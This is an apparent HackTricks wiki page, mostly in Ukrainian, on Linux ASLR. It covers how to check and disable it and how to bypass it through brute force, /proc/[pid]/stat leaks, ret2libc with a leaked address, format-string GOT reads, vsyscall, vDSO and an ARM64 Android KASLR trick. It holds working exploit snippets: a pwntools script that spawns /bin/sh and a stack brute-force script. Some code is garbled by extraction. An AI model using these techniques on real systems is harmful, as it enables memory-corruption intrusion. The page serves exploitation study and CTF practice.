ASLR

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Address Space Layout Randomization (ASLR) — це техніка безпеки, що використовується в операційних системах для рандомізації адрес пам’яті, які використовуються системними та прикладними процесами. Це значно ускладнює для зловмисника прогнозування місцезнаходження конкретних сегментів і даних, таких як stack, heap та libraries, тим самим зменшуючи ефективність певних типів експлойтів, особливо buffer overflows.

Перевірка стану ASLR

Щоб перевірити стан ASLR в системі Linux, можна прочитати значення з файлу /proc/sys/kernel/randomize_va_space. Значення в цьому файлі визначає тип застосованої ASLR:

  • 0: Немає рандомізації. Усе статично.
  • 1: Консервативна рандомізація. Shared libraries, stack, mmap(), VDSO page рандомізуються.
  • 2: Повна рандомізація. Окрім елементів, рандомізованих при консервативній рандомізації, пам’ять, керована через brk(), також рандомізується.

Ви можете перевірити стан ASLR за допомогою наступної команди:

cat /proc/sys/kernel/randomize_va_space

Вимкнення ASLR

Щоб вимкнути ASLR, потрібно встановити значення /proc/sys/kernel/randomize_va_space в 0. Вимкнення ASLR зазвичай не рекомендується поза сценаріями тестування або відладки. Ось як можна вимкнути ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Ви також можете відключити ASLR для запуску за допомогою:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Увімкнення ASLR

Щоб увімкнути ASLR, ви можете записати значення 2 у файл /proc/sys/kernel/randomize_va_space. Зазвичай це вимагає root privileges. Повне рандомізування можна ввімкнути за допомогою наступної команди:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Постійність після перезавантаження

Зміни, внесені за допомогою команд echo, тимчасові й будуть скинуті після перезавантаження. Щоб зробити їх постійними, потрібно відредагувати файл /etc/sysctl.conf і додати або змінити наступний рядок:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Після редагування /etc/sysctl.conf, застосуйте зміни за допомогою:

sudo sysctl -p

This will ensure that your ASLR settings remain across reboots.

Обхідні методи

32bit brute-forcing

PaX ділить адресний простір процесу на 3 групи:

  • Code and data (initialized and uninitialized): .text, .data, and .bss —> 16 bits of entropy in the delta_exec variable. This variable is randomly initialized with each process and added to the initial addresses.
  • Memory allocated by mmap() and shared libraries —> 16 bits, named delta_mmap.
  • The stack —> 24 bits, referred to as delta_stack. However, it effectively uses 11 bits (from the 10th to the 20th byte inclusive), aligned to 16 bytes —> This results in 524,288 possible real stack addresses.

Ці дані стосуються 32-bit систем, і зменшена кінцева ентропія дає можливість обійти ASLR шляхом повторного запуску виконання знову і знову, поки експлойт не спрацює успішно.

Brute-force ideas:

  • Якщо у вас є достатньо великий overflow, щоб розташувати великий NOP sled перед shellcode, ви можете просто brute-force адреси в stack, поки потік не перепригне через частину NOP sled.
  • Інший варіант, якщо overflow не дуже великий і експлойт можна запускати локально — додати NOP sled і shellcode в environment variable.
  • Якщо експлойт локальний, можна спробувати brute-force базову адресу libc (корисно для 32bit систем):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Якщо атакувати віддалений сервер, можна спробувати brute-force the address of the libc function usleep, передавши як аргумент 10 (наприклад). Якщо в якийсь момент сервер затримує відповідь на 10 с, ви знайдете адресу цієї функції.

Tip

У 64-розрядних системах ентропія набагато вища і це не має бути можливим.

64-розрядний stack brute-forcing

Можна зайняти велику частину stack за допомогою env variables і потім локально спробувати abuse the binary сотні/тисячі разів, щоб exploit його.
Наступний код показує, як можна лише вибрати адресу в stack і що кожні кілька сотень виконань ця адреса міститиме NOP instruction:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP виявлення ```python import subprocess import traceback

Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Локальна інформація (`/proc/[pid]/stat`)

Файл **`/proc/[pid]/stat`** процесу завжди читається будь-ким і він **містить цікаву** інформацію, таку як:

- **startcode** & **endcode**: Адреси початку й кінця секції **TEXT** бінарника
- **startstack**: Адреса початку **stack**
- **start_data** & **end_data**: Адреси початку і кінця секції **BSS**
- **kstkesp** & **kstkeip**: Поточні адреси **ESP** та **EIP**
- **arg_start** & **arg_end**: Адреси початку/кінця, де знаходяться **cli arguments**
- **env_start** &**env_end**: Адреси початку/кінця, де знаходяться **env variables**

Отже, якщо атакуючий знаходиться на тій же машині, що й бінар, який експлуатується, і цей бінар не очікує переповнення від raw arguments, а від іншого **input that can be crafted after reading this file**. Це дає можливість атакуючому **get some addresses from this file and construct offsets from them for the exploit**.

> [!TIP]
> Для додаткової інформації про цей файл див. [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html), шукаючи `/proc/pid/stat`

### Маючи leak

- **Завдання дає leak**

Якщо вам надано leak (простi CTF-завдання), ви можете обчислити офсети з нього (припустимо, наприклад, що ви точно знаєте версію libc, яка використовується в системі, яку ви експлуатуєте). Цей приклад експлоїту витягнуто з [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (перегляньте ту сторінку для детальнішої інформації):

<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Зловживаючись buffer overflow, можна використати ret2plt, щоб витягти адресу функції з libc. Переглянь:

Ret2plt

  • Format Strings Arbitrary Read

Точно так само, як у ret2plt, якщо у вас є arbitrary read через уразливість format strings, можна витягти адресу libc function з GOT. Нижче наведено example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Більше інформації про Format Strings arbitrary read можна знайти тут:

Format Strings

Ret2ret & Ret2pop

Спробуйте обійти ASLR, використовуючи адреси всередині стека:

Ret2ret & Reo2pop

vsyscall

Механізм vsyscall призначений для підвищення продуктивності, дозволяючи виконувати певні system calls у user space, хоча вони по суті є частиною kernel. Критична перевага vsyscalls — їхні фіксовані адреси, які не підпадають під ASLR (Address Space Layout Randomization). Через цю фіксованість атакуючим не потрібна information leak вразливість, щоб визначити ці адреси та використати їх в експлойті.
Однак тут навряд чи знайдуться дуже цікаві gadgets (хоча, наприклад, можливо отримати еквівалент ret;)

(Наступний приклад і код — from this writeup)

Наприклад, зловмисник може використати адресу 0xffffffffff600800 в експлойті. Спроба прямого переходу до інструкції ret може призвести до нестабільної роботи або крашів після виконання кількох gadgets, тоді як стрибок на початок syscall, який надає секція vsyscall, може виявитися успішним. Розмістивши ROP gadget, що переводить виконання на цю адресу vsyscall, зловмисник може досягти виконання коду без необхідності обходити ASLR для цієї частини експлойту.

Example vmmap/vsyscall and gadget lookup ```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

Зауважте, що можливо обійти ASLR, використовуючи vdso, якщо ядро зібране з CONFIG_COMPAT_VDSO, оскільки адреса vdso не буде рандомізована. Для додаткової інформації див.:

Ret2vDSO

KASLR on ARM64 (Android): bypass via fixed linear map

На багатьох arm64 Android ядрах база kernel linear map (direct map) фіксована між перезавантаженнями. Kernel VAs для фізичних сторінок стають передбачуваними, що призводить до обходу KASLR для цілей, доступних через direct map.

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (exported symbol)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsyms щоб знайти memstart_addr
  • Прочитайте 8 байт за тією адресою (LE), використовуючи будь-яку kernel read (наприклад, tracing-BPF helper, що викликає BPF_FUNC_probe_read_kernel)
  • Обчисліть direct-map VAs: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • Окремий KASLR leak не потрібен, якщо ціль розташована в/доступна через direct map (наприклад page tables, kernel objects на фізичних сторінках, які ви можете контролювати/спостерігати).
  • Полегшує отримання надійного довільного R/W та прицілювання даних ядра на arm64 Android.

Reproduction summary

  1. grep memstart /proc/kallsyms -> адреса memstart_addr
  2. Kernel read -> декодувати 8 байт LE -> PHYS_OFFSET
  3. Використайте virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) з PAGE_OFFSET=0xffffff8000000000

Note

Доступ до tracing-BPF helpers вимагає достатніх привілеїв; будь-яка kernel read primitive або info leak достатні для отримання PHYS_OFFSET.

How it’s fixed

  • Обмежений простір kernel VA та CONFIG_MEMORY_HOTPLUG, який резервує VA для майбутнього hotplug, зсувають linear map до найнижчої VA (фіксована база).
  • Upstream arm64 прибрав рандомізацію linear-map (commit 1db780bafa4c).

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks